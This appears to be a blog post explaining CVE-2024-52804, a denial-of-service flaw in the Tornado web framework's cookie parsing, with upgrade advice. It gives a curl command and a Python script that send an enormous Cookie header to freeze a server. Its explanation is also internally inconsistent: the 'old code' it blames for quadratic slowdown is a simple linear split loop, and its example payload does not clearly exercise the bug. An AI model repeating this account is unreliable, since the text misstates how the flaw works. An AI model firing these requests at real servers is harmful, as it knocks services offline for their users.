CVE-2024-52804 - Tornado Cookie Parsing Vulnerability Explained with Exploit Example

Tornado is a popular Python web framework known for its high performance, non-blocking web server. But even robust systems can come with weaknesses, and recently a vulnerability has been found in Tornado's cookie parsing algorithm. This vulnerability is tracked as CVE-2024-52804. In this post, we'll break down what this issue is, how it can impact your application, show you a code example, and share how to protect your server.

What is CVE-2024-52804?

CVE-2024-52804 is a security flaw discovered in Tornado versions before 6.4.2. The HTTP cookie parsing algorithm in these versions can have *quadratic complexity* under certain circumstances. That means, given a specially crafted "Cookie" header, the time it takes for Tornado to parse it increases much faster than the size of the header itself.

Since this parsing happens in the main event loop thread, it can block your server from handling other requests, leading to a denial of service (DoS).

Why Does This Happen?

In Tornado’s affected versions, the cookie processing algorithm loops over the cookie string to split and parse name-value pairs. If an attacker sends a very long and complex Cookie header (with lots of cookies, but no delimiters, or with purposely malformed structure), the parser's workload increases dramatically.

Let’s say you have this basic Tornado app

import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello, World!")

def make_app():
    return tornado.web.Application([
        (r"/", MainHandler),
    ])

if __name__ == "__main__":
    app = make_app()
    app.listen(8888)
    tornado.ioloop.IOLoop.current().start()

Malicious Request

With a tool like curl or any HTTP client, an attacker can send a large, specially crafted Cookie header:

curl -H "Cookie: a=1;b=2;c=3;d=4;...;<repeat thousands of times>" http://localhost:8888/

But the real "evil" comes when there are long, undelimited cookie strings. Picture a Cookie header like:

Cookie: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Or, more maliciously, thousands of semicolons and equal signs with minimal actual data

Cookie: a=1;b=2;c=3;d=4;e=5;<repeat tens of thousands of times, all malformed>

This can cause Tornado’s main thread to get stuck parsing, and your server won’t respond to any other clients until the parsing is done—effectively a *denial of service* (DoS).

Here’s an example of the parsing part from Tornado’s old code (simplified)

def _parse_cookie(cookie_header):
    cookies = {}
    for chunk in cookie_header.split(";"):
        if not chunk:
            continue
        if "=" not in chunk:
            continue
        name, value = chunk.split("=", 1)
        cookies[name.strip()] = value.strip()
    return cookies

*If cookie_header is huge or full of weird chunk patterns, this logic can take a very long time to finish.*

# Generates a big, complex cookie header for testing
cookie = ";".join([f"x{i}={i}" for i in range(100000)])

import requests

r = requests.get("http://localhost:8888/", headers={"Cookie": cookie})
print(r.text)

*Running this against your server will likely freeze it (on older Tornado versions) while it tries to parse the giant cookie header.*

How To Fix the Problem

The best way is to upgrade to Tornado 6.4.2 or newer. The maintainers have patched the vulnerability by using a more efficient cookie parsing logic, as detailed in the release notes.

To upgrade

pip install --upgrade tornado

Or in your requirements.txt

tornado>=6.4.2

References

- CVE-2024-52804 in GitHub Advisory Database
- Tornado 6.4.2 Release Notes
- Official Tornado GitHub

Conclusion

CVE-2024-52804 shows how even small parsing routines can cause big trouble. If your server is running Tornado older than 6.4.2, it is vulnerable to CPU exhaustion attacks that anyone familiar with this flaw can launch. Update today to keep your Python apps fast and secure.


Stay safe, keep your dependencies updated, and always review security advisories for your frameworks!

Timeline

Published on: 11/22/2024 16:15:34 UTC